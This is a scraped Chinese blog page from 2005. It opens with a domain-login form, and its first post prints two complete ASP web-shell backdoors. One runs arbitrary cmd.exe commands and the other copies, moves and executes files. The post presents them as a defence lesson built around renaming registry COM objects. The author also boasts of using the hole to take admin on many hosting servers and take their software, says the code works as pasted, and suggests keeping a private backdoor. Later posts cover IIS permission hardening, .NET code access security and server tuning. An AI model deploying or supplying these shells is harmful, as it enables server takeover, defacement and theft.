<TABLE id=table15 cellSpacing=0 cellPadding=1 width=492 align=center border=0>
  <TBODY>
  <TR>
 <TD bgColor=#cccccc>
<DIV align=center>
<TABLE id=table16 cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
border=0>
  <TBODY>
  <TR>
 <TD class=p4 align=middle bgColor=#ffbbdd height=20>::: 通联无限域名登录管理
:::</TD></TR>
  <FORM name=form4 onsubmit="return check2();" action=http://partner.topbiz.cn/cgi-bin/Domain/DomainLogin
  method=post><INPUT type=hidden value=login name=module1>
  <TR>
 <TD class=p2 height=60><A
href="http://partner.topbiz.cn/manage/management.htm" target=_blank><SPAN
style="TEXT-DECORATION: none">Topbiz.cn</SPAN></A>
<DIV align=center>
<TABLE id=table17 cellSpacing=1 cellPadding=5 width="90%"
  border=0><TBODY>
  <form action="http://partner.topbiz.cn/cgi-bin/Domain/DomainLogin" method=post>
                          <td width="17%" align="right">域名:</td>
                          <td width="13%"><b><font face="Arial, Helvetica, sans-serif" class="e8">WWW.
                            </font></b></td>
                          <td width="70%"> <input type="text" name="Domain" size="20" maxlength="63" class="input">
                            <select size="1" name="Suffix" class="input">
                              <option selected>.com</option>
                              <option >.cn</option>
                              <option>.net</option>
                        <option>.org</option>
                        <option>.cc</option>
                        <option>.tv</option>
                        <option>.biz</option>
                        <option>.info</option>
                              <option>.com.cn</option>
                              <option>.net.cn</option>
                              <option>.org.cn</option>
                              <option>.gov.cn</option>
                              <option>.ac.cn</option>
                              <option>.bj.cn</option>
                              <option>.sh.cn</option>
                              <option>.tj.cn</option>
                              <option>.cq.cn</option>
                              <option>.he.cn</option>
                              <option>.sx.cn</option>
                              <option>.nm.cn</option>
                              <option>.ln.cn</option>
                              <option>.jl.cn</option>
                              <option>.hl.cn</option>
                              <option>.js.cn</option>
                              <option>.zj.cn</option>
                              <option>.ah.cn</option>
                              <option>.fj.cn</option>
                              <option>.jx.cn</option>
                              <option>.sd.cn</option>
                              <option>.ha.cn</option>
                              <option>.hb.cn</option>
                              <option>.hn.cn</option>
                              <option>.gd.cn</option>
                              <option>.gx.cn</option>
                              <option>.hi.cn</option>
                              <option>.sc.cn</option>
                              <option>.gz.cn</option>
                              <option>.yn.cn</option>
                              <option>.xz.cn</option>
                              <option>.sn.cn</option>
                              <option>.gs.cn</option>
                              <option>.qh.cn</option>
                              <option>.nx.cn</option>
                              <option>.xj.cn</option>
                              <option>.tw.cn</option>
                              <option>.hk.cn</option>
                              <option>.mo.cn</option>
                              <option>.中国</option>
                              <option>.公司</option>
                              <option>.网络</option>
                              <option> </option>
                            </select></td>
                       
                      </tr>
                      <tr>
                        <td width="17%" align="right">密码:</td>
                        <td width="13%">&nbsp; </td>
                        <td width="70%"> <input type="password" name="Password" size="20" maxlength="15" class="input">
                          <a href="http://partner.topbiz.cn/manage/sendpasswd.htm">我忘了密码</a></td>
                      </tr>
                      <tr>
                        <td colspan="3"> <p align="center">
                            <input type="submit" value=" 登 录 " name="B1" class="buttom">
                            &nbsp;&nbsp;&nbsp;&nbsp;
                            <input type="reset" value=" 重 新 输 入 " name="B2" class="buttom">
                          </p></td>
                      </form></TBODY></TABLE></DIV></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE>
</BODY></HTML>
[ 2005/05/24 00:55 | by 网络毛毛虫 ]
随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。
以下是第一款木马的代码:
<title>ASP Shell</title>
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
运行后如下图: 在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。
但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。
对于防范方法让我们看一下它的代码就知道了:
Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这个后门木马就又可以执行了。
大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。
接下来让我们再来看下一款ASP后门木马程序的代码:
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asps shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") 目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") 建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%> <%
szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") 建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%> <%
szCMD3 = Request.Form("text3") 目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") 建立shell对象
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="" then
path=left(szcmd3,i-1)
exit for
end if
next if len(path)=2 then path=path & ""
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") 执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") 建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。

最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。
然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。
言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:set shell=server.createobject("shell.application"),跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)

其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。
注:以上代码复制保存为ASP文件就可以直接使用了。 
[ 2005/05/24 00:50 | by 网络毛毛虫 ]
为了更好的理解这一问题的解决方法,我们需要先介绍一下.NET Framework的安全机制。然后再结合我们的实际问题来讨论解决方案。

  为了解决安全问题,.NET Framework提供了一种称为代码访问安全性的安全机制。代码访问安全性允许根据代码的来源和代码的标识等属性将代码设置为不同级别的信任代码,同时还详细定义了不同级别的对代码的信任,从而可以详细的对代码设置各自的权限而不是将最大权限赋给所有的代码。使用代码访问安全性,可以减小恶意代码或各种错误的代码带来的严重的系统安全性问题的可能性。您可以设置允许代码执行的一组操作,同样可以设置永远不允许代码执行的一组操作。

  实现代码访问安全性的基础就是JIT(运行时编译)和IL(中间代码)。所以所有以公共语言运行库为目标的托管代码都会受益于代码访问安全性。非托管代码则无法完全使用代码访问安全性。
下面我们将介绍一下代码访问安全性实现的各种功能:

  代码访问安全性是控制代码对受保护资源和操作的访问权限的一种机制。在 .NET Framework中,代码访问安全性执行下列功能:

  · 定义权限和权限集,它们表示访问各种系统资源的权限。

  · 使管理员能够通过将权限集与代码组关联来配置安全策略。

  · 使代码能够请求运行所需权限以及其他一些有用的权限,以及指定代码绝对不能拥有哪些权限。

  · 根据代码请求的权限和安全策略允许的操作,向加载的每个程序集授予权限。

  · 使代码能够要求其调用方拥有特定的权限。

  · 使代码能够要求其调用方拥有数字签名,从而只允许特定组织或特定站点的调用方来调用受保护的代码。

  · 通过将调用堆栈上每个调用方所授予的权限与调用方必须拥有的权限相比较,加强运行时对代码的限制。

  为了确定是否已授予代码相应的权限,.NET运行库的安全系统将遍历整个调用堆栈,将每个调用方所授予的权限与目前要求的权限相比较。如果调用堆栈中的任何调用方没有要求的权限,则会引发安全性异常,并会拒绝访问和相应的操作。堆栈步旨在防止引诱攻击;在这种攻击中,受信程度较低的代码调用高度信任的代码,并使用高度信任的代码执行未经授权的操作。在运行时要求所有调用方都拥有权限将影响性能,但对防止代码遭受攻击至关重要。若要优化性能,可以使代码执行较少的堆栈步;但是,任何时候这样做时均必须确保不会暴露安全缺陷。

  还存在另外一种代码访问安全性的常见用途,即应用程序将控件从网络 Web 站点直接下载到客户端,这种方式的代码安全性也是可以在客户端进行设置的,根据签名等数据权限证书来确定是不是可以允许下载的控件运行。这种方法类似于ActiveX的安全性设置,但是比之在设置权限更加详细和强大。同JAVA APPLET的沙箱安全机制相比,.NET 的客户端控件可以在本地简单设置后访问客户端的各种资源。由于这一方面的用途不是我们的重点,所以我们在这里就不再更详细的讨论其用途及其实现原理了。

  下面我们就谈谈如何应用这一安全特性来解决ASP.NET中存在的系统安全漏洞。由于我们介绍的系统是共享主机,所以有其特殊性,即系统管理员无法事先给所有的代码赋予相应的权限,因为每个用户都可能有各种权限要求,并且这些要求特殊权力的代码在使用中都可能出现的,所以在权限管理上随时都有各种要求。
因此在权限设置方面,不仅仅是管理员设置,也包括了各个共享主机用户的权限请求,这也正是安全代码机制的一个重要部分。

  请求权限是您让运行库知道代码执行有哪些操作权限的方法。通过将属性(声明式语法)放到代码的程序级范围来为程序集请求权限。

  请求内置权限的代码示例:


//The attribute is placed on the assembly level.
using System.Security.Permissions;
[assembly:PermissionSetAttribute(SecurityAction.RequestMinimum, Name = "FullTrust")]

  将此段代码放在程序的开始部分(namespace声明之前),在编译时就会将请求的权限存储在程序集清单中。加载时,运行库检查权限请求,并应用安全策略规则来确定授予程序集哪些权限。

  虽然我们编写的大部分代码都没有请求权限,其实不管是共享主机形式还是独立服务器形式都应该请求权限,这是因为请求权限有助于确保只将代码需要的权限授予代码。如果没有授予代码额外权限,即使某些恶意代码想利用您的代码来进行安全性破坏,它也无法操作没有赋给您自己代码相应权限的额外系统资源。您只应该请求代码需要的那些权限,而不应请求更多权限。

  代码请求权限之后,系统管理员可以使用"权限查看"工具 (Permview.exe,位于您的.NET Framework的目录的bin目录下) 来检查您的程序集并根据其他条件来设置安全策略以决定是否给您的代码所请求的相应权限。如果您不显式地在代码中请求应用程序需要的权限,那么管理员将很难管理您的应用程序。在权限管理严格的主机上,将无法实现您的代码所要求的功能。

  请求权限会通知运行库应用程序正常运行需要哪些权限,或具体不需要哪些权限。在.NET Framework安装后的默认状态下,所有代码都是FullTrust(完全信任)的。这时是不需要申请任何权限的,但是管理员一旦修改了代码安全,我们使用的磁盘访问就要受到限制了,这是就需要申请相应的权限了。我们上边介绍的文件管理代码就需要具有本地硬盘读写操作的能力,则应用程序必须拥有 FileIOPermission。如果代码不请求 FileIOPermission,在本地安全设置不允许应用程序拥有此权限的主机上,在应用程序尝试磁盘操作时就会引发安全性异常。即使应用程序能够处理此异常,也不会允许它操作磁盘。当然,如果您的代码不访问受保护的资源或执行受保护的操作,则不必请求任何权限。例如,如果代码只根据向它传递的输入来计算结果而不使用任何资源,则不必请求权限。如果您的代码访问受保护的资源但未请求必要的权限,则仍可能允许它执行,但如果它尝试访问某种资源而它又没有必要的权限,则可能在执行过程中失败。

现在绝大多数的虚拟主机都禁用了 ASP 的标准组件:FileSystemObject,因为这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作(当然,这是指在使用默认设置的 Windows NT / 2000 下才能做到)。但是禁止此组件后,引起的后果就是所有利用这个组件的 ASP 将无法运行,无法满足客户的需求。
  如何既允许 FileSystemObject 组件,又不影响服务器的安全性(即:不同虚拟主机用户之间不能使用该组件读写别人的文件)呢?这里介绍本人在实验中获得的一种方法,下文以 Windows 2000 Server 为例来说明。
  在服务器上打开资源管理器,用鼠标右键点击各个硬盘分区或卷的盘符,在弹出菜单中选择“属性”,选择“安全”选项卡,此时就可以看到有哪些帐号可以访问这个分区(卷)及访问权限。默认安装后,出现的是“Everyone”具有完全控制的权限。点“添加”,将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去,并给予“完全控制”或相应的权限,注意,不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除,这样,就只有授权的组和用户才能访问此硬盘分区了,而 ASP 执行时,是以“IUSR_机器名”的身份访问硬盘的,这里没给该用户帐号权限,ASP 也就不能读写硬盘上的文件了。
  下面要做的就是给每个虚拟主机用户设置一个单独的用户帐号,然后再给每个帐号分配一个允许其完全控制的目录。
  如下图所示,打开“计算机管理”→“本地用户和组”→“用户”,在右栏中点击鼠标右键,在弹出的菜单中选择“新用户”:





  在弹出的“新用户”对话框中根据实际需要输入“用户名”、“全名”、“描述”、“密码”、“确认密码”,并将“用户下次登录时须更改密码”前的对号去掉,选中“用户不能更改密码”和“密码永不过期”。本例是给第一虚拟主机的用户建立一个匿名访问 Internet 信息服务的内置帐号“IUSR_VHOST1”,即:所有客户端使用 http://xxx.xxx.xxxx/ 访问此虚拟主机时,都是以这个身份来访问的。输入完成后点“创建”即可。可以根据实际需要,创建多个用户,创建完毕后点“关闭”:

现在新建立的用户已经出现在帐号列表中了,在列表中双击该帐号,以便进一步进行设置:

在弹出的“IUSR_VHOST1”(即刚才创建的新帐号)属性对话框中点“隶属于”选项卡:

刚建立的帐号默认是属于“Users”组,选中该组,点“删除”:

  现在出现的是如下图所示,此时再点“添加”:

在弹出的“选择 组”对话框中找到“Guests”,点“添加”,此组就会出现在下方的文本框中,然后点“确定”:

  出现的就是如下图所示的内容,点“确定”关闭此对话框:

  打开“Internet 信息服务”,开始对虚拟主机进行设置,本例中的以对“第一虚拟主机”设置为例进行说明,右击该主机名,在弹出的菜单中选择“属性”:

  弹出一个“第一虚拟主机 属性”的对话框,从对话框中可以看到该虚拟主机用户的使用的是“F:\VHOST1”这个文件夹:

  暂时先不管刚才的“第一虚拟主机 属性”对话框,切换到“资源管理器”,找到“F:\VHOST1”这个文件夹,右击,选“属性”→“安全”选项卡,此时可以看到该文件夹的默认安全设置是“Everyone”完全控制(视不同情况显示的内容不完全一样),首先将最将下的“允许将来自父系的可继承权限传播给该对象”前面的对号去掉:

此时会弹出如下图所示的“安全”警告,点“删除”:

 此时安全选项卡中的所有组和用户都将被清空(如果没有清空,请使用“删除”将其清空),然后点“添加”按钮。

  将如图中所示的“Administrator”及在前面所创建的新帐号“IUSR_VHOST1”添加进来,将给予完全控制的权限,还可以根据实际需要添加其他组或用户,但一定不要将“Guests”组、“IUSR_机器名”这些匿名访问的帐号添加上去!

  再切换到前面打开的“第一虚拟主机 属性”的对话框,打开“目录安全性”选项卡,点匿名访问和验证控制的“编辑”:

  在弹出的“验证方法”对方框(如下图所示),点“编辑”:

  弹出了“匿名用户帐号”,默认的就是“IUSR_机器名”,点“浏览”:

  在“选择 用户”对话框中找到前面创建的新帐号“IUSR_VHOST1”,双击:

 此时匿名用户名就改过来了,在密码框中输入前面创建时,为该帐号设置的密码:

  再确定一遍密码:

  OK,完成了,点确定关闭这些对话框。
  经此设置后,“第一虚拟主机”的用户,使用 ASP 的 FileSystemObject 组件也只能访问自己的目录:F:\VHOST1 下的内容,当试图访问其他内容时,会出现诸如“没有权限”、“硬盘未准备好”、“500 服务器内部错误”等出错提示了。
  另:如果该用户需要读取硬盘的分区容量及硬盘的序列号,那这样的设置将使其无法读取。如果要允许其读取这些和整个分区有关的内容,请右键点击该硬盘的分区(卷),选择“属性”→“安全”,将这个用户的帐号添加到列表中,并至少给予“读取”权限。由于该卷下的子目录都已经设置为“禁止将来自父系的可继承权限传播给该对象”,所以不会影响下面的子目录的权限设置。

此方法可以从根本上杜绝FSO的虚拟主机问题,昨天晚上我也试用了这一方法很方便的解决了FSO的问题。

在Microsoft .NET Framework Configuration中可以设置所有关于.NET Framework的属性。
  点击我的电脑,打开下拉菜单,我们可以看到程序集缓存、已配置程序集、远程处理服务、运行库安全策略、应用程序等五项。运行库安全策略设置是我们这篇文章的重点。
   
    我们可以先查看一下程序集缓存,在这里我们可以看到所有的全局程序集缓存,全局程序集缓存中存储了专门指定给由计算机中若干应用程序共享的程序集。在这里我们可以发现我们可以使用的所有的程序集,同时也可以添加和删除某些程序集。详细操作请参见.NET Framework SDK文档。
   
    我们在这里主要讨论的是运行库安全策略。在此策略中,按层次结构由高到低分为四个级别,即:企业、计算机、用户、应用程序。在计算权限授予时,运行库从该层次结构的顶部开始,然后向下进行计算。较低的策略级别不能对在较高级别上授予的权限进行增加,但是可以使权限减少。这就是说如果我们将计算机策略设置为较小的权限时,可以不必更改企业策略就可以使设置的权限生效,也就是说权限检查的顺序是从低级别到高级别,只有在低级别中不存在的设置才会检查上一级的设置。默认情况下,用户策略和应用程序域策略的限制性小于计算机策略和企业级策略。大部分默认策略存在于计算机级别。所以我们需要将默认安装的主机的权限在计算机级别上进行修改,修改的内容根据主机是不是共享主机,主机应用的其他不明代码的可能性来设置。如果是我们讨论的共享主机的话,在计算机级别上就尽量将权限设的小一些,为了避免我们讨论的文件系统安全问题,一定要注意权限中的本地磁盘访问权限。
   
    我们打开计算机策略设置可以发现几个默认的代码组、权限集和策略程序集。
   
    根据需要,我们可以添加代码组和自定义的权限集。
   
    在添加代码组的时候可以选择几种条件,主要的条件类型:默认为All Code、应用程序目录、哈希、强名称、作者、站点等。
   
    对于我们所要讨论的共享主机,我们需要将My_Computer_Zone下的All Code的权限更改为不能进行磁盘读写,在更改之前,我们需要先定义一个权限集。这一权限集的作用就是将我们需要点击权限集,右键快捷菜单中选择新建,会出现一个创建权限集的窗口,这里需要给我们新建的权限集命名。下一步就是将单个权限分配给权限集。如下图所示。





在这里我们可以给这个新建的权限集赋予一个的系统权限,如上图所示,可用的权限包括:目录服务、DNS、事件日志、环境变量、文件IO、OLEDB数据库操作、注册表等等。我们主要要说明的是文件IO操作,其他的权限操作可以根据自己的需求来设置。这里我们就不再说明了。
   
    在文件IO的权限设置中我们可以自定义针对每一个目录的权限,这里包括读、写、追加、路径盘等操作,在这里我们可以将我们需要的目录权限添加到列表中。因为我们是利用这一权限使所有没有配置权限的代码不可以进行文件IO操作,所以我们不强文件IO添加到分配的权限中。
   
    新建了这一权限集后,我们更改一下默认设置,即将All Code的权限设置为此新建的权限集,也就是说所有没有在此定义代码都不能访问文件IO系统。
   
    这里需要注意一件事情,因为Microsoft .NET Framework Configuration本身也需要文件IO权限,如果没有单独分配给Configuration一个文件IO操作权限的话,那么您就不能再次使用Configuration来设置权限了,只能重新安装.NET Framework了。所以我们需要将FullTrust权限分配给Configuration所使用的Dll,即mscorcfg.dll。在添加时,成员条件可以选择强名称,使用"导入",到winnt/window .net/framework/versionnumber/下选择mscorcfg.dll。如果需要运行其他配置程序,还需要设置相应的权限,这些系统程序一般都在系统程序集缓存中。
   
    这样我们就完成了一个简单的设置,可以防止任何未经验证的代码访问文件IO系统。这样就从根本上防止了磁盘恶意操作。
   
    如果您今后需要利用这一功能或者有共享主机用户需要使用文件IO功能,那么您可以在Microsoft .NET Framework Configuration中将其加入代码,如果不能使其使用其他功能,可以仅仅设置一个只具有文件IO权限的权限集。如果是共享主机用户您还可以给他分配直接到其所使用的目录的全部读写权限,对于他的日志文档,您可以将读功能分配给用户。通过上边新建权限集时我们可以发现:权限集可以规定到每一个目录的读写权限,所以可以将用户锁定于其可以使用的目录中。当然对于共享主机提供商来说,最好的方法就是自己实现这些功能,然后配置权限系统使用户使用共享主机提供商的程序来实现他们的正常操作,而避免了恶意文件操作。
   
    需要注意的是如果分配给每一个单独的程序相应的权限时,我们最好使用强名称这一方式或者其他的可验证方式,强名称由程序集的标识--其简单文本名称、版本号和区域性信息(如果提供)--加上公钥和数字签名组成。这就需要我们使用Sn.exe 来设置密钥、签名和签名验证。强名称保证了程序是开发人员开发的并且没有被改动。
   
    在进行上面的设置之后,管理员可以根据用户的各种需求来设置不同的代码集和权限集。
   
    我们已经简单的介绍了一下ASP.NET中关于文件IO系统的漏洞的防治方法,这一方法有些繁琐,但是却可以从根本上杜绝一些漏洞,由于.NET的JIT(运行时编译)和IL(中间语言),.NET可以在程序编译时检查程序的安全性设置,所以能从根本上防止一些非法访问。.NET的代码安全性的内容很全面,我们讨论的只是很少的一部分,更多的功能需要大家共同来探索、学习。 

[ 2005/05/24 00:44 | by 网络毛毛虫 ]
目 录
选择网络适配器

· WHQL 认证

· 卸载能力

· 中断调解

· 64位功能

· 铜缆和光纤网络适配器

· 双端口或4端口的网络适配器

调整网络适配器

· 启用卸载特性

· 网络适配器资源

· 中断调解

TCP 参数

选择存储系统

· WHQL 认证

· 减少待存储数据的数量

· 存储阵列的选择

· HW RAID 的级别

· 选择RAID 级别

· 确定卷的布局

· 中断调解

与存储有关的参数

· CountOperations

· NumberOfRequests

· DontVerifyRandomDrivers

选择正确的高性能硬件

操作系统最佳实践

IIS 6.0 优化

内核模式的调整

· 缓存管理设置

· 请求和连接管理设置

用户模式设置

· IIS 注册表设置

· IIS Metabase

· IIS 工作进程选项(IIS Admin UI、应用程序池属性)

· 安全套接字层的调整参数

· ISAPI

· 托管代码调整参数

· 影响IIS性能的其他问题

· NTFS 文件系统设置

· Tcpip.sys 的IIS性能设置

· IIS的网络适配器调整和绑定

一般考虑事项

服务器消息块服务器模型

文件服务器的常规调整参数

· PagedPoolSize

· NtfsDisable8dot3NameCreation

· Disablelastaccess

· NumTcbTablePartitions

· TcpAckFrequency

中断关联

客户端计算机的常规调整参数

· DormantFileLimit

· ScavengerTimeLimit

· DisableByteRangeLockingOnReadOnlyFiles

· TcpAckFrequency

对 Boot.ini 文件使用 /3GB 开关参数

关闭签名和密封功能

· Windows Server 2003面向 NetBench 的注册表调整参数

· 客户端计算机上面向 NetBench 的注册表调整参数

· 添加针对描述属性的索引(服务器)

· 关闭磁盘碎片自动整理程序

· 在 TCP/IP 增加 MaxUserPorts 和 TcpWindowSize

针对 NTttcp 的调整

· 网络适配器

· TCP

针对Chariot 的调整

 



介绍
对于用户现有的大多数工作,Microsoft® Windows Server™ 2003 应该都能够运行自如。但是,我们还可以调整服务器设置并获得更好的性能表现,尤其是在工作负载的性质不会随同时间推移而不断变化的时候。

大多数的有效调整都应该考虑到硬件、工作负载以及性能目标这些因素。本文介绍了有助于提高性能的重要调整参数和设置。并且介绍了每一种设置以及它的潜在功效,帮助用户根据自己的系统、工作负载和性能目标做出明智的决策。

说明:Microsoft Windows® 2000 Server 和 Windows Server 2003的注册表设置和调整参数可能存在较大差异。在调校服务器时请务必牢记:使用早期或过时的调整指南可能会得到意料之外的结果。

此外,在直接操作注册表时请总是谨慎行事。如果必须编辑注册表,请首先进行备份。

网络的性能调整
网络体系结构包括许多组件、接口和协议;图1描述了其中的部分内容。本节以下部分将针对服务器负载,对部分组件的优化调整加以讨论。


图 1 网络栈的组件

网络体系结构由多个层组成,这些层可以被大致划分为:

· 网络驱动程序和NDIS。这些是处于最底部的层。NDIS将它下方的驱动程序接口暴露它上方的层;例如:TCP/IP。

· 协议栈。此层实现了诸如TCP/IP 和 UDP/IP 这样的协议。这些层向位于它们上方的层暴露了TDI接口。

· 系统驱动程序。属于典型的TDI客户端,用来向用户模式的应用程序暴露接口。WinSock接口由Afd.sys加以暴露。

· 用户模式的应用程序。

耗费大量网络资源的工组负载的调整工作涉及所有层的调整。下面介绍了其中的部分工作。

选择网络适配器
网络密集型的应用程序需要高性能的网络适配器。本节内容介绍了选择网络适配器时的一些注意事项。

WHQL 认证
选择通过了Microsoft Windows Hardware Quality Labs(WHQL)认证的网络适配器。

卸载能力
卸载有助于降低服务器CPU的使用率,从而提高系统的整体性能。Microsoft TCP/IP 传输可以让具有相应任务卸载能力的网络适配器卸载以下的一项或多项任务:

· 校验和任务。TCP/IP 传输可以在发送和接收时卸载IP和TCP校验和的计算和验证工作。

· IP 安全性任务。TCP/IP 传输可以卸载身份验证标头(AH)和ESP(封装安全性负载)的已加密校验和的计算和验证工作。TCP/IP传输还可以卸载ESP负载的加密和解密工作。

· 大型TCP 数据包的分段。TCP/IP 传输支持大型发送卸载(LSO)。利用LSO,TCP/IP传输可以卸载大型TCP数据包的分段工作。

· 堆栈卸载。整个网络堆栈可以被卸载到具有相应能力的网络适配器上。

中断调解
某些网络适配器可以降低向处理器发出中断的频率,这些中断表明适配器上启动(或完成)了某个网络操作。某些网络适配器还能够将网络和主机处理器的负载考虑在内,以一种自适应的方式做出上述决定。减缓中断的发生频率通常可以降低主机CPU的负载,但是除非能够以一种智能和自适应的方式执行中断调解,否则在CPU方面的性能节省将以网络延迟的增加作为代价。

64位功能
具有64位能力的网络适配器可以对大容量物理内存地址(4GB以上)执行直接内存访问(DMA)操作。

铜缆和光纤网络适配器
使用铜缆的网络适配器和使用光纤的适配器具有同样的性能,但是在价格上要便宜一些。铜缆网络适配器上的收发器的价格也要更低一些。

双端口或4端口的网络适配器
